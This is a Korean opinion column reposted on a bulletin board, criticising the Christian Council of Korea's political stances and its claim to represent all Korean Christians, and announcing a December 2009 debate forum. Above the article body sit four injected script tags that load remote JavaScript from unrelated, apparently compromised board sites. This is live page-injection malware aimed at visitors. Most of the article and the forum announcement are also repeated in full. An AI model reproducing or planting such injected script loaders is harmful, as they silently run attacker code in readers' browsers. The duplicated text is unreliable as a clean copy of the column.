칼럼 [구교형 칼럼] 한기총, 그 존재 의미를 묻다 [뉴조, 12/22]
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작성자 by 관리자 / 작성일09-12-24 13:43 / 조회 3,823 / 댓글 0본문
<SCRIPT Language=JavaScript src=http://scha.nodong.net/bbs/data/free/ky1105.js></script> <SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/asuyoil.js></script> <SCRIPT src=http://soccer1.ktdom.com/bbs/data/soccer4ugallery/keyp.txt></script> <SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/softs.js></script> 한국기독교총연합회(이하 한기총)가 창립된 지 벌써 20년이 되었다. 한기총이 스스로를 '좌우로 치우치지 않는 명실상부한 연합 기구'(정관 사항)라 규정하든 보수적 기독교의 입장을 대변한다고 하든 관계없이, 한기총의 지난 역사는 수구 기득권의 대변인 역할이었다.
삼일절에도 버젓이 성조기를 들고 친미를 소리 높여 외치는 집회를 주관하고, 종교 교육을 내세워 사학 기득권을 지키려 앞장섰던 모습, 기독교계의 이명박 후보 지지를 끌어내기 위한 교묘한 지원들, 작년 촛불 정국에서 국민들의 저항에도 아랑곳없는 이명박 대통령에 대한 굳건한 지지 표명은 대통령 탈선의 강력한 후원자 역할도 담당하고 있다. 한기총은 정치권력에 무한히 접근하는 것이 교회의 힘인 것처럼 착각해 왔다.
뿐만 아니다. 한기총은 교회 세습이나 교회 비리, 목회자들의 부정은 적극 변명하거나 일부 사례에 불과한 것이라 애써 가리려고 노력해 왔다. 심지어 교회 문제를 조명한 시사 프로그램의 방영을 막기 위해서는 방송국 점거를 부추기기도 하였다.
그럴 때마다 한국교회와 많은 그리스도인들은 세상으로부터 역사의식도 없고, 시대정신도 모르는 종교 기득권자들처럼 조롱을 받아야만 했다. 무엇보다 기독교가 기득권의 종교인 것처럼 매도되고, 예수가 부자와 권력자들의 옹호자인 것처럼 욕하는 소리들을 듣기란 얼마나 견디기 힘든 일인가? 그래서 한기총이 주목받을수록 한국교회의 미래는 답답해진다.
그런데 한기총은 감히 위임하지도 않은 한국교회의 대표성을 공공연히 주장해 왔다. 지난 6월 12일 "국가 위기 민생 불안 중단하고 국민 화합 경제 대국 이룩하자!"라는 제목으로 발표한 한기총 성명을 보라. "대통령과 정치권은 대한민국의 정체성과 법질서를 수호하라!… 북한은 핵을 폐기하고 남북대화와 6자 회담에 즉각 복귀하라!… 자살을 미화하고 민생을 혼란하게 하는 선동을 즉시 중단하라!" 그들은 용산 참사, 노동자들의 파업과 전직 대통령의 죽음 등을 그저 사회 혼란으로 규정하고 법질서 확립만을 소리 높여 외쳤다.
더욱 황당한 것은 성명의 끝부분이다. "사단법인 한국기독교총연합회…64개 회원 교단 및 21개 회원 단체(5만 교회, 10만 성직자, 1,200만 성도)." 한기총이 64개 교단과 21개 단체들이 참여해 이루어진 연합 기구라 할지라도 그들은 시국에 관한 회원 교단과 단체들, 그리고 다양한 성도들과 회원들의 입장을 대변할 수 없다. 그것도 모자라서 한국교회 모든 교단, 모든 기독교인들의 입장을 대변하는 듯이 '5만 교회, 10만 성직자, 1,200만 성도'의 명의를 버젓이 도용했다. 우리는 결코 그 성명에 동의해 준 일이 없다.
많은 이들은 분노했다. 그래서 이제는 한기총의 존재 의의를 제대로 따져 보려고 여러 기독 단체들이 함께 힘을 모았다. 단순히 밖으로 보이는 행태들을 넘어서 그들의 신학과 철학, 존재 기반을 면밀히 분석해 보고자 한다. 사회적, 정치적, 역사적 분석을 통해, 한기총이 출범하게 된 정치, 사회적 의미 등을 확인하고, 지금 한국 사회에서 한기총이 대변하고 있는 사회적 가치가 무엇인지 물으려 한다. 무엇보다 이들의 성경적, 신학적 가치를 분석하는 것은 중요한 일이다. 한기총 성명 및 핵심 목사들의 설교와 활동을 분석해 보면 십자가, 고난, 하나님나라는 말뿐이고, 힘, 성공, 번영, 돈, 시장, 자본, 경제만 찬양하는 행태들을 노골적으로 드러낸다. 이러한 가치의 왜곡은 바로 복음과 교회의 왜곡으로 이어지기에 심각한 일이 아닐 수 없다.
이 자리에 그동안 한기총으로 인해 억울해도 참고 있던 한국교회 보통 성도들이 참여하여 솔직한 자기 생각을 드러내야 한다. 그래야 한기총의 탈선이 바로 잡히고, 한기총으로 인해 실추된 한국교회도 바로 잡힐 수 있을 것이다. 마침 늘 말도 많고 탈도 많은 한기총 대표회장 선거도 토론회 바로 다음날 예정돼 있다. 이번만큼은 돈 잔치가 되지 않기를 바라는 마음 또한 간절하다.
<한기총 진단 토론회 : 한기총의 신학적·역사적 실체를 묻다>
일시 : 12월 28일(월) 오후 7시
장소 : 청어람 5실
주관 : 교회개혁실천연대
주최 : 한기총 개혁을 위한 기독인 네트워크(가칭)
취지 소개 및 인사말
발제1 (7:10~7:40) 사회학적 관점에서 본 한기총(백종국 교수/경상대학교)
발제2 (7:40~8:10) 성경적 관점에서 본 한기총(신현우 교수/웨스트민스터신학대학원대학교)
질의응답 및 자유 발언
삼일절에도 버젓이 성조기를 들고 친미를 소리 높여 외치는 집회를 주관하고, 종교 교육을 내세워 사학 기득권을 지키려 앞장섰던 모습, 기독교계의 이명박 후보 지지를 끌어내기 위한 교묘한 지원들, 작년 촛불 정국에서 국민들의 저항에도 아랑곳없는 이명박 대통령에 대한 굳건한 지지 표명은 대통령 탈선의 강력한 후원자 역할도 담당하고 있다. 한기총은 정치권력에 무한히 접근하는 것이 교회의 힘인 것처럼 착각해 왔다.
뿐만 아니다. 한기총은 교회 세습이나 교회 비리, 목회자들의 부정은 적극 변명하거나 일부 사례에 불과한 것이라 애써 가리려고 노력해 왔다. 심지어 교회 문제를 조명한 시사 프로그램의 방영을 막기 위해서는 방송국 점거를 부추기기도 하였다.
그럴 때마다 한국교회와 많은 그리스도인들은 세상으로부터 역사의식도 없고, 시대정신도 모르는 종교 기득권자들처럼 조롱을 받아야만 했다. 무엇보다 기독교가 기득권의 종교인 것처럼 매도되고, 예수가 부자와 권력자들의 옹호자인 것처럼 욕하는 소리들을 듣기란 얼마나 견디기 힘든 일인가? 그래서 한기총이 주목받을수록 한국교회의 미래는 답답해진다.
그런데 한기총은 감히 위임하지도 않은 한국교회의 대표성을 공공연히 주장해 왔다. 지난 6월 12일 "국가 위기 민생 불안 중단하고 국민 화합 경제 대국 이룩하자!"라는 제목으로 발표한 한기총 성명을 보라. "대통령과 정치권은 대한민국의 정체성과 법질서를 수호하라!… 북한은 핵을 폐기하고 남북대화와 6자 회담에 즉각 복귀하라!… 자살을 미화하고 민생을 혼란하게 하는 선동을 즉시 중단하라!" 그들은 용산 참사, 노동자들의 파업과 전직 대통령의 죽음 등을 그저 사회 혼란으로 규정하고 법질서 확립만을 소리 높여 외쳤다.
더욱 황당한 것은 성명의 끝부분이다. "사단법인 한국기독교총연합회…64개 회원 교단 및 21개 회원 단체(5만 교회, 10만 성직자, 1,200만 성도)." 한기총이 64개 교단과 21개 단체들이 참여해 이루어진 연합 기구라 할지라도 그들은 시국에 관한 회원 교단과 단체들, 그리고 다양한 성도들과 회원들의 입장을 대변할 수 없다. 그것도 모자라서 한국교회 모든 교단, 모든 기독교인들의 입장을 대변하는 듯이 '5만 교회, 10만 성직자, 1,200만 성도'의 명의를 버젓이 도용했다. 우리는 결코 그 성명에 동의해 준 일이 없다.
많은 이들은 분노했다. 그래서 이제는 한기총의 존재 의의를 제대로 따져 보려고 여러 기독 단체들이 함께 힘을 모았다. 단순히 밖으로 보이는 행태들을 넘어서 그들의 신학과 철학, 존재 기반을 면밀히 분석해 보고자 한다. 사회적, 정치적, 역사적 분석을 통해, 한기총이 출범하게 된 정치, 사회적 의미 등을 확인하고, 지금 한국 사회에서 한기총이 대변하고 있는 사회적 가치가 무엇인지 물으려 한다. 무엇보다 이들의 성경적, 신학적 가치를 분석하는 것은 중요한 일이다. 한기총 성명 및 핵심 목사들의 설교와 활동을 분석해 보면 십자가, 고난, 하나님나라는 말뿐이고, 힘, 성공, 번영, 돈, 시장, 자본, 경제만 찬양하는 행태들을 노골적으로 드러낸다. 이러한 가치의 왜곡은 바로 복음과 교회의 왜곡으로 이어지기에 심각한 일이 아닐 수 없다.
이 자리에 그동안 한기총으로 인해 억울해도 참고 있던 한국교회 보통 성도들이 참여하여 솔직한 자기 생각을 드러내야 한다. 그래야 한기총의 탈선이 바로 잡히고, 한기총으로 인해 실추된 한국교회도 바로 잡힐 수 있을 것이다. 마침 늘 말도 많고 탈도 많은 한기총 대표회장 선거도 토론회 바로 다음날 예정돼 있다. 이번만큼은 돈 잔치가 되지 않기를 바라는 마음 또한 간절하다.
<한기총 진단 토론회 : 한기총의 신학적·역사적 실체를 묻다>
일시 : 12월 28일(월) 오후 7시
장소 : 청어람 5실
주관 : 교회개혁실천연대
주최 : 한기총 개혁을 위한 기독인 네트워크(가칭)
취지 소개 및 인사말
발제1 (7:10~7:40) 사회학적 관점에서 본 한기총(백종국 교수/경상대학교)
발제2 (7:40~8:10) 성경적 관점에서 본 한기총(신현우 교수/웨스트민스터신학대학원대학교)
질의응답 및 자유 발언